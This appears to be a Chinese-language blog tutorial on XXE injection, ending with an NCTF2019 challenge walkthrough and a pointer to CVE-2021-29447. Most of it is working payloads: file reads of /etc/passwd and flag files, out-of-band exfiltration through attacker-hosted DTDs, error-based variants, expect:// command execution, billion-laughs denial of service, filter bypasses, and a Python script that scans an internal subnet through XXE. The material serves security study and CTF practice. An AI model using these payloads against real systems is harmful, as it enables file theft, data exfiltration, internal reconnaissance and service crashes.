【Web安全】XXE(XML External Entity)漏洞

CTF XXE https://www.cnblogs.com/20175211lyz/p/11413335.html
XXE漏洞利用技巧:从XML到远程代码执行 https://www.freebuf.com/articles/web/177979.html

概念

XXE(XML外部实体注入)是一种针对应用程序处理XML数据的方式的攻击。在这种攻击中,攻击者利用应用程序对XML输入的处理不当,引入或“注入”恶意内容。这可能导致未授权的数据访问、服务拒绝攻击甚至执行远程代码。

XML

XML文档结构包括:XML声明、DTD文档类型定义(可选)、文档元素

1
2
3
4
5
6
7
8
9
10
11
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>

<!--文档元素-->
<foo>&xxe;</foo>

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
DTD一般认为有两种引用或声明方式:
1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

1
2
3
4
5
<!DOCTYPE note [
<!ENTITY a "admin">
]>
<note>&a;</note>
<!-- admin -->

2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

1
2
3
4
5
<!DOCTYPE note> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c;</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

参数实体

1
2
3
4
5
6
<!DOCTYPE note> [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>
<note>&b1;</note>
<!-- awsl -->

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

XXE漏洞类型

任意文件读取

直接读取

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

引入外部实体

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]>
<test>&hhh;</test>
<!-- 外部实体 -->
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>

Blind XXE

无回显的情况下

基于OOB(Out of Band的缩写,指安全数据不经过自己通信的信道进行传输),先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器

1
2
3
4
5
6
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

基于报错
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。

  • 通过引入服务器文件:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?xml version="1.0"?>
    <!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
    ]>
    <message>1234</message>

    <!-- xml.dtd -->
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
    %start;
  • 通过引入本地文件:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?xml version="1.0"?>
    <!DOCTYPE message [
    <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;send;
    '>
    %remote;
    ]>
    <message>1234</message>
    如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,只要是从外部引入DTD文件,并在其中定义一些实体内容就行。仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send。
  • 嵌套参数实体
    虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的
    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0"?>
    <!DOCTYPE message [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
    %start;
    %send;
    ]>
    <message>10</message>
    基于报错的三层嵌套参数实体XXE
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?xml version="1.0"?>
    <!DOCTYPE message [
    <!ELEMENT message ANY>
    <!ENTITY % para1 SYSTEM "file:///flag">
    <!ENTITY % para '
    <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
    &#x25;para2;
    '>
    %para;
    ]>
    <message>10</message>

内网探测

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

RCE

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

DOS

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。亦或者,如果目标是UNIX系统,

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

绕过XXE防护

编码绕过:ENTITY SYSTEM file 等关键词被过滤,使用编码方式绕过:UTF-16BE:cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
协议绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
file://协议加文件上传
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

php://filter协议加文件上传
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>

<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

利用场景

svg

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

从当前文件夹读取文件可以使用/proc/self/cwd

excel
首先用excel创建一个空白的xlsx,然后解压

1
2
mkdir XXE && cd XXE
unzip ../XXE.xlsx

[Content_Types].xml改成恶意xml,再压缩回去zip -r ../poc.xlsx *

CTF题目

NCTF2019 True XML cookbook

访问页面并抓包

发现请求是xml格式的,首先构造payload尝试读取flag:<!ENTITY abc SYSTEM "file:///flag">,失败,刚开始没打分号,xml有报错,发现文件路径在/var/www/html/doLogin.php,后面还是不行,可能是没有。尝试用php协议, <!ENTITY abc SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">

解码后成功获得源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

看上去是正常的来者,也没有提示有其他的方向或思路,尝试继续用上面的协议读取一些其他文件,尝试进行内网探测


发现有一个奇怪的ip,尝试访问下

有报错,尝试爆破下,失败了,看网上解析还需要查看其他的文件file:///proc/net/fib_trie。文件提供了关于FIB(Forwarding Information Base,转发信息库)Trie(前缀树)的信息。其作用是高效地存储和查找路由表项。它以一种前缀树的形式组织了路由表项,其中每个节点表示一个路由前缀。通过在树中进行前缀匹配,内核可以快速找到与目标IP地址最匹配的路由表项。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests as res
url="http://b32f52cd-49a3-48fa-9f8f-da51aeed0e6d.node5.buuoj.cn:81/doLogin.php"
rawPayload='<?xml version="1.0"?>'\
'<!DOCTYPE user ['\
'<!ENTITY payload1 SYSTEM "http://10.244.166.{}">'\
']>'\
'<user>'\
'<username>'\
'&payload1;'\
'</username>'\
'<password>'\
'23'\
'</password>'\
'</user>'
for i in range(1, 256):
payload=rawPayload.format(i)
#payload=rawPayload
print(str("#{} =>").format(i),end='')
try:
resp=res.post(url,data=payload,timeout=0.3)
except:
continue
else:
print(resp.text,end='')
finally:
print('')

用脚本爆破出

CVE-2021-29447

https://www.freebuf.com/vuls/272446.html